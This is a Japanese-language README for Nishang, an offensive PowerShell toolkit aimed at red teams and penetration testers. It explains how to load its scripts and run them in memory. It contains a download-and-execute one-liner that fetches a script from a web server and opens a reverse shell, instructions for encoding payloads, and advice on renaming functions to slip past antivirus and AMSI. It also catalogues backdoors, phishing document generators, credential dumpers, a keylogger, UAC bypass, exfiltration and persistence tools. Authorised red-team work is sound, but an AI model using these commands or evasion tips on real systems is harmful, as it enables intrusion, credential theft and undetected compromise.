
Nishang - レッドチーム、ペネトレーションテスト、攻撃的セキュリティのための攻撃型PowerShell
作成者: Nikhil Mittal Altered Security - 実践的なレッドチームおよびエンタープライズセキュリティトレーニング! の創設者
現在のPowerShellセッションにすべてのスクリプトをインポートします(PowerShell v3以降)。
PS C:\nishang> Import-Module .\nishang.psm1
個別のスクリプトはドットソーシングで使用します。
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
スクリプトや関数のヘルプを表示するには、以下を使用します:
PS C:\nishang> Get-Help [スクリプト名] -full
バージョン0.3.8以降、ヘルプはスクリプトそのものではなく、スクリプト実行後にロードされる関数に対して利用可能であることに注意してください。すべての場合において、関数名はスクリプト名と同じです。
例えば、Get-WLAN-Keys.ps1のヘルプを表示するには、以下を使用します:
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Nishangのスクリプトは、多くのアンチウイルスによって悪意のあるものとして検出されます。ターゲット上のスクリプトはメモリ上で使用することを意図しており、PowerShellで簡単に実行できます。メモリ上でPowerShellスクリプトを実行する2つの基本的な方法:
方法1. メモリ内ダウンロードと実行を使用: 以下のコマンドを使用して、リモートシェル、meterpreterのネイティブシェル、ウェブシェルなどからPowerShellスクリプトを実行し、そのエクスポートされた関数を利用します。Nishangのすべてのスクリプトは、現在のPowerShellセッションに同じ名前の関数をエクスポートします。
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
方法2. PowerShellの-encodedcommand(または-e)パラメータを使用する
Nishangのすべてのスクリプトは、現在のPowerShellセッションに同じ名前の関数をエクスポートします。そのため、非PowerShellシェルからencodedcommandパラメータを使用する場合は、スクリプト自体に関数呼び出し(引用符なし)"Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]"を追加してください。
NishangのInvoke-Encodeを使用してスクリプトをエンコードする:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
エンコードされたデータは .\encoded.txt に書き込まれました
エンコードされたコマンドは .\encodedcommand.txt に書き込まれました
上記から、encodedcommand.txtのエンコードされたスクリプトを使用し、コマンドが実行可能なターゲット(リモートシェル、meterpreterのネイティブシェル、ウェブシェルなど)で以下のように実行します:
C:\Users\target> powershell -e [encodedscript]
スクリプトが依然として検出される場合は、関数名とパラメータ名を変更し、ヘルプコンテンツを削除することで回避できる場合があります。
Windows 10のAMSIがスクリプトの実行をブロックする場合は、次のブログを参照してください:http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishangには現在、以下のスクリプトとペイロードが含まれています。
DCShadowに必要な最小限の権限を提供するためにADオブジェクトを変更します。
このwebshellを使用して、PowerShellスクリプトのメモリ内実行、コマンドの実行、ファイルのダウンロードおよびアップロードが可能です。
サードパーティのWebサイトから指示を受け取り、PowerShellスクリプトをメモリ内で実行できるバックドア。
DNS TXTクエリからコマンドやPowerShellスクリプトを受信し、ターゲット上で実行し、クエリを使用してリモート制御できるバックドア。
指定した時間にターゲット上でPowerShellスクリプトを実行できるバックドア。
WLAN SSIDから接続せずにコマンドやスクリプトを受信できるバックドア。
Windowsのスクリーンセーバーをリモートコマンドおよびスクリプト実行に使用できるバックドア。
代替データストリームとWindowsレジストリを使用して永続性を実現するバックドア。
よく知られたDebuggerトリックを使用して、Sticky keysやUtilman(Windowsキー + U)でペイロードを実行するバックドア。
DCOMおよびWMI名前空間の権限を変更し、非管理ユーザーにアクセスを許可します。
PowerShellリモート処理の権限を変更し、非管理ユーザーにアクセスを許可します。
公開されているAMSIのバイパス/回避方法の実装。
PowerShellコマンドとスクリプトを実行できる感染済みCHMファイルを作成します。
Wordファイルを作成し、既存のファイルに感染させてPowerShellコマンドとスクリプトを実行します。
Excelファイルを作成し、既存のファイルに感染させてPowerShellコマンドとスクリプトを実行します。
Webサーバーに展開し、フィッシングキャンペーンで使用できるHTAファイルを作成します。
アプレットと共にスクリプトおよびコマンド実行に使用できる署名付きJARファイルを作成します。
PowerShellコマンドとスクリプトを実行できるショートカットファイルを作成します。
フィッシング認証情報やSMBハッシュ用のIQYファイルを作成します。
PowerShellコマンドとスクリプトを実行できるJSファイルを作成します。
PowerShellコマンドとスクリプトを実行できるSCTファイルを作成します。
NTLMハッシュチャレンジのキャプチャに使用できるSCFファイルを作成します。
SYSTEM権限が必要な場合に使用。
パッチを削除して脆弱性を導入。
UACをバイパス。
PowerShellスクリプトをダウンロードしてメモリ内で実行。
テキスト形式の実行可能ファイルをダウンロードし、実行可能ファイルに変換して実行。
十分な権限があるMSSQLサーバーで、PowerShellコマンド、ネイティブコマンド、またはSQLコマンドを実行。
DNS TXTクエリを使用してメモリ内でシェルコードを実行。
rundll32.exeを使用してPowerShellコマンドとスクリプト、またはリバースPowerShellセッションを実行。
仮想マシンかどうかを確認。
ボリュームシャドウコピーサービスを使用してSAMファイルをコピー。
ユーザーを騙してプレーンテキストの認証情報を入力させる。
出口検査用のスクリプトペア。
ターゲットから有用な情報を取得。
ターゲットからLSAシークレットを取得。
ターゲットからパスワードハッシュを取得。
ターゲットからWLANキーをプレーンテキストで取得。
ターゲットのキーストロークを記録。
Invoke-MimikatzWdigestDowngrade
Windows 8.1およびServer 2012でユーザーパスワードをプレーンテキストでダンプ。
Windowsユーザーのパスワードヒントをターゲットから取得。
コールバックし、MJPEGを使用してターゲット画面をストリーミング。
mimikatzをメモリにロード。更新済みでカスタマイズ可能。
正規表現を使用してターゲットプロセス(ブラウザなど)のメモリから有用な情報を抽出。
WLAN SSIDを使用してユーザー認証情報などの情報を流出。
Unixマシンにアクセスするために使用される管理ジャンプボックスやコンピュータを特定。
MITM攻撃用のローカルHTTPSプロキシ。
複数のコンピュータで認証情報を確認し、PSSessionを作成。
Run-EXEonRemote 複数のマシンに実行可能ファイルをコピーして実行。
Invoke-NetworkRelay コンピュータ間のネットワークリレーを作成。
実行中のプロセスのハッシュをVirusTotalデータベースと照合。
FTP、Active Directory、MSSQL、Sharepointをブルートフォース。
便利なポートスキャナ。
nishangの全機能を1つのスクリプトモジュールにまとめたもの。
指定されたGmailアカウントにコマンドとスクリプトを送信し、Invoke-PsGcatAgentで実行。
Invoke-PsGcatから送信されたコマンドとスクリプトを実行。
インタラクティブなPowerShellリバースコネクトまたはバインドシェル。
Invoke-PowerShellTcpの簡略版。2つのツイートに収まるスケルトンバージョンも含む。
Invoke-PowerShellTcpOneLineBind
Invoke-PowerShellTcpOneLineのバインド版。
UDP上のインタラクティブなPowerShellリバースコネクトまたはバインドシェル。
Invoke-PowerShellUdpの簡略版。
HTTPS上のリバースインタラクティブPowerShell。
HTTP上のリバースインタラクティブPowerShell。
Invoke-PoshRatHttps使用後のシステムクリーンアップ。
WMIを使用したインタラクティブPowerShell。
ICMP上のインタラクティブなPowerShellリバースシェル。
rundll32.exeを使用したHTTP上のインタラクティブなPowerShellリバースシェル。
regsvr32.exeを使用したHTTP上のインタラクティブなPowerShellリバースシェル。
Gmail、Pastebin、Webサーバー、DNSへのデータ流出機能を任意のスクリプトに追加。
スクリプトに再起動時の永続性機能を追加。
Add-Persistenceスクリプトによって追加された永続性を削除。
任意のスクリプトにパイプ(|)して出力を流出。
ファイルをターゲットに転送。
キーロガーによって記録されたキーを解析。
スクリプトまたは文字列をエンコードおよび圧縮。
Invoke-Encodeからのスクリプトまたは文字列をデコードおよび解凍。
Basic認証とSMBハッシュを記録するWebサーバーを実行。
文字列をROT13にエンコード、またはROT13文字列をデコード。
他のスクリプトで使用できるDNS TXTレコードを生成。
[Base64ToString]
[StringToBase64]
[ExetoText]
[TexttoExe]
Nishangのアップデートについては、私のブログ http://labofapenetrationtester.com およびTwitter @nikhil_mitt でご確認ください。
バグを発見した場合や機能リクエストがある場合は、Issueを報告してください。メールは nikhil [dot] uitrgpv at gmail.com までお送りください。
フィードバック、ディスカッション、機能リクエストについては、http://groups.google.com/group/nishang-users に参加してください。
Nishangへのコントリビューションを常に歓迎しています。リクエストを送信するか、メールをお送りください。
初心者向けの役立つブログ記事:
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
Nishangに関するすべての投稿: